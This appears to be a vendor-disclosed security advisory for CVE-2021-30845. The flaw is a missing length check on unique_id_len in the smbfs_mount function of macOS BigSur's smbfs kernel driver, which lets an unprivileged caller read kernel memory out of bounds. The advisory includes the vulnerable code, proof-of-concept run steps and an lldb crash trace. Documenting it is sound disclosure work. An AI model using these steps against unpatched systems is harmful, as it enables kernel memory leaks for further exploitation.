CVE: CVE-2021-30845
Tested Versions:
- macOS BigSur 11.0 - 11.2.3
Product URL(s):
Description of the vulnerability
smbfs
is a kext driver which handles SMB connection between the user and SMB Server. This vulnerability occurs in smbfs
, which allows an attacker to leak kernel memory to achieve further exploitation.
The vulnerability exists in the smbfs_mount
function, which can be triggered via mount
syscall. mount
syscall will take data from user input and pass it to smbfs_mount
. smbfs_mount
does not require any privilege to mount and smb to a folder.
The structure of smbfs_mount_args
is defined by the following code:
struct smb_mount_args {
int32_t version;
int32_t dev;
int32_t altflags;
int32_t KernelLogLevel;
uid_t uid;
gid_t gid;
mode_t file_mode;
mode_t dir_mode;
uint32_t path_len;
int32_t unique_id_len;
char path[MAXPATHLEN] __attribute((aligned(8))); /* The starting path they want used for the mount */
char url_fromname[MAXPATHLEN] __attribute((aligned(8))); /* The from name is the url used to mount the volume. */
unsigned char unique_id[SMB_MAX_UNIQUE_ID] __attribute((aligned(8))); /* A set of bytes that uniquely identifies this volume */
char volume_name[MAXPATHLEN] __attribute((aligned(8))); /* The starting path they want used for the mount */
uint64_t ioc_reserved __attribute((aligned(8))); /* Force correct size always */
int32_t ip_QoS;
int32_t max_resp_timeout;
int32_t dir_cache_async_cnt;
int32_t dir_cache_max;
int32_t dir_cache_min;
int32_t max_dirs_cached;
int32_t max_dir_entries_cached;
uint32_t max_read_size;
uint32_t max_write_size;
/* Snapshot time support */
char snapshot_time[32] __attribute((aligned(8)));
time_t snapshot_local_time;
}
There are two interesting fields unique_id_len
and unique_id[SMB_MAX_UNIQUE_ID]
was defined in this struct. If we look carefully at the smbfs_mount
function, these fields are handled by the following code snippet:
/* Now get the mounted volumes unique id */
smp->sm_args.unique_id_len = args->unique_id_len;
SMB_MALLOC(smp->sm_args.unique_id, unsigned char *, smp->sm_args.unique_id_len,
M_SMBFSDATA, M_WAITOK);
if (smp->sm_args.unique_id) {
bcopy(args->unique_id, smp->sm_args.unique_id, smp->sm_args.unique_id_len);
} else {
smp->sm_args.unique_id_len = 0;
}
As we can see, the code doesn’t check if args->unique_id_len
is larger than args->unique_id
. If an attacker crafts a smbfs_mount_args
with args->unique_id_len
that is larger than the actual size of args->unique_id
, it could lead to memory Out-of-Bounds Read.
Proof Of Concept
- Setup an samba server following these information:
- SMB User:
peter
- SMB Password:
share123
- SMB Share: share
- Compiling PoC with:
clang smbfs_mount_oob_read.c -o smbfs_mount_oob_read -framework CoreFoundation -framework NetFS
- Attach virtual machine into lldb
- Run
./smbfs_mount_oob_read <samba ip>
- lldb will output like below:
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000001D15970FD8 RBX: 0xFFFFFFB06AB6F000 RBP: 0xFFFFFFB06A363630 RSP: 0xFFFFFFB06A363618 o d I t s z a p c
RDI: 0xFFFFFFB06ABB4FD8 RSI: 0xFFFFFF9355244000 RDX: 0x0000000041414141 RCX: 0x00000000413CE169
RIP: 0xFFFFFF800FB01082 R8 : 0xFFFFFF868B3DDBF0 R9 : 0x0000000000000001 R10: 0x0000000000000000
R11: 0x00000000FFFFFFFF R12: 0x0000000000000016 R13: 0xFFFFFF93551FD800 R14: 0xFFFFFF868BDAC438
R15: 0xFFFFFF869CB5E460
CS : 0008 GS : 6AB60000 FS : FFFF0000
-----------------------------------------------------------------------------------------------------------------------[code]
bcopy @ /Users/peternguyen/Build/binaries/kernel.development:
-> 0xffffff800fb01082 (0xffffff8000101082): f3 a4 rep movsb byte ptr es:[rdi], byte ptr [rsi]
0xffffff800fb01084 (0xffffff8000101084): c3 ret
0xffffff800fb01085 (0xffffff8000101085): 48 01 cf add rdi, rcx
0xffffff800fb01088 (0xffffff8000101088): 48 01 ce add rsi, rcx
0xffffff800fb0108b (0xffffff800010108b): 48 ff cf dec rdi
0xffffff800fb0108e (0xffffff800010108e): 48 ff ce dec rsi
0xffffff800fb01091 (0xffffff8000101091): 48 83 e1 07 and rcx, 0x7
0xffffff800fb01095 (0xffffff8000101095): fd std
-----------------------------------------------------------------------------------------------------------------------------
Process 1 stopped
* thread #1, stop reason = EXC_BAD_ACCESS (code=2, address=0x55244000)
frame #0: 0xffffff800fb01082 kernel.development`bcopy + 18
Target 0: (kernel.development) stopped.
(lldbinit) bt
* thread #1, stop reason = EXC_BAD_ACCESS (code=2, address=0x55244000)
* frame #0: 0xffffff800fb01082 kernel.development`bcopy + 18
frame #1: 0xffffff800feaa844 kernel.development`memmove(dst=0xffffffb06ab6f000, src=<unavailable>, ulen=<unavailable>) at loose_ends.c:923:2 [opt]
frame #2: 0xffffff7fa9ed4d1c smbfs`smbfs_mount + 2326
frame #3: 0xffffff8010022d8f kernel.development`mount_common(fstypename=<unavailable>, pvp=0xffffff8689626a00, vp=<unavailable>, cnp=0xffffffb000000001, fsmountargs=140732792811600, flags=24, internal_flags=0, labelstr=0x0000000000000000, kernelmount=0, ctx=0xffffff868bdac438) at vfs_syscalls.c:1228:11 [opt]
frame #4: 0xffffff8010024601 kernel.development`__mac_mount(p=<unavailable>, uap=<unavailable>, retval=<unavailable>) at vfs_syscalls.c:599:10 [opt]
frame #5: 0xffffff801002419e kernel.development`mount(p=<unavailable>, uap=<unavailable>, retval=<unavailable>) at vfs_syscalls.c:359:9 [opt]
frame #6: 0xffffff80104bf3f1 kernel.development`unix_syscall64(state=0xffffff868aadd800) at systemcalls.c:412:10 [opt]
frame #7: 0xffffff800fcc11f6 kernel.development`hndl_unix_scall64 + 22
Suggested Mitigations
- Update to macOS latest if it is available.
Timeline
- 2021-06-18 Vendor disclosure
- 2021-09-13 Vendor patched